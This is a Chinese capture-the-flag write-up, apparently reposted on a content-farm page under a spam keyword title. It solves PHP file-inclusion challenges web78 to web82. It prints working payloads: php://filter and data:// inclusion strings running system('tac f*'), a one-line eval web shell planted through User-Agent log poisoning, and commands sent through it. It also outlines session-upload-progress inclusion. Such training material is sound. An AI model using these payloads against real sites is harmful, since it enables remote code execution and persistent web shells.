您的位置:首页 > 文旅 > 旅游 > 设计类专业大学排名_中信建设有限责任公司地址_怎么联系百度人工客服_百度seo不正当竞争秒收

设计类专业大学排名_中信建设有限责任公司地址_怎么联系百度人工客服_百度seo不正当竞争秒收

2025/4/28 20:54:20 来源:https://blog.csdn.net/qq_41701460/article/details/147191272  浏览:    关键词:设计类专业大学排名_中信建设有限责任公司地址_怎么联系百度人工客服_百度seo不正当竞争秒收
设计类专业大学排名_中信建设有限责任公司地址_怎么联系百度人工客服_百度seo不正当竞争秒收

web78:
在这里插入图片描述
include函数执行file引入的文件,如果执行不成功,就高亮显示当前页面的源码。

方法一:filter伪协议
file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

base64编码
?file=php://filter/read=convert.base64-encode/resource=flag.phputf8编码
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

在这里插入图片描述
得到base编码后的flag解密得到flag在这里插入图片描述
方法二:input协议
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 $_POST 与 $FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中
在这里插入图片描述
方法三:data协议
data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>构造payload:
?file=data://text/plain,<?php system('tac f*');?>

在这里插入图片描述
web79:同上,多了个替换php 变成大小写就可以

?file=data://text/plain,<?Php system('tac f*');?>

在这里插入图片描述
在这里插入图片描述
web80:
在这里插入图片描述
在了解过后,发现这道题还可以通过日志包含getshell的方法来做。

日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

首先要判断网站使用的什么服务:
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
在这里插入图片描述
在这里插入图片描述
使用brop抓包 在User-Agent 插入一句话木马

<?php @eval($_REQUEST['cmd']);?>@ 符号:在 PHP 里,@ 是错误抑制符。它的作用是在执行相应表达式时,抑制可能出现的错误信息输出。也就是说,即使代码执行过程中产生了错误,也不会在页面上显示错误提示。eval() 函数:这是 PHP 中的一个内置函数,其功能是把传入的字符串当作 PHP 代码来执行。例如,若传入的字符串是 echo 'Hello, World!';eval() 函数就会执行这条语句并输出 Hello, World!$_REQUEST 超全局变量:$_REQUESTPHP 中的一个超全局变量,它会收集通过 GETPOSTCOOKIE 方式提交的数据。这里使用 $_REQUEST['cmd'] 意味着可以通过上述任意一种方式传递一个名为 cmd 的参数

在这里插入图片描述
post传参,首先查看列表 .上一步构造恶意的 cmd 参数,执行任意的 PHP 代码

cmd=system('ls');

在这里插入图片描述
可以看到目录下面有flag,直接cat查看

cmd=system('tac f*');

在这里插入图片描述
web81:同上 还是用brop 上传木马 执行命令
在这里插入图片描述

在这里插入图片描述
web82:对于搞不懂的东西,先放一下 后面在弄
这次过滤了点,⽇志包含有.log,⽤不了上面那个。
在这里插入图片描述

知识点: 在php5.4之后php.ini开始有⼏个默认选项1.session.upload_progress.enabled = on2.session.upload_progress.cleanup = on3.session.upload_progress.prefix = “upload_progress_”4.session.upload_progress.name =PHP_SESSION_UPLOAD_PROGRESS5.session.use_strict_mode=off第⼀个表示当浏览器向服务器上传⼀个⽂件时,php将会把此次⽂件上传的详细信息(如上传时间、上传进度等)存储在session当中第⼆个表示当⽂件上传结束后,php将会⽴即清空对应session⽂件中的内容第三和第四个prefix+name将表示为session中的键名第五个表示我们对Cookie中sessionID可控"简⽽⾔之,我们可以利⽤session.upload_progress将⽊⻢写⼊session⽂件,然后包含这个session⽂件。不过前提是我们需要创建⼀个session⽂件,并且知道session⽂件的存放位置。因为session.use_strict_mode=off的关系,我们可以⾃定义sessionIDlinux系统中session⽂件⼀般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建⽂件:/tmp/sess_flag,即使此时⽤户没有初始化session,php也会⾃动初始化Session。 并产⽣⼀个键值,为prefix+name的值,最后被写⼊sess_⽂件⾥ 还有⼀个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利⽤条件竞争来pass,写⼀个脚本来完成enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

可参考:https://www.cnblogs.com/justdoIT20680/p/18771953

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com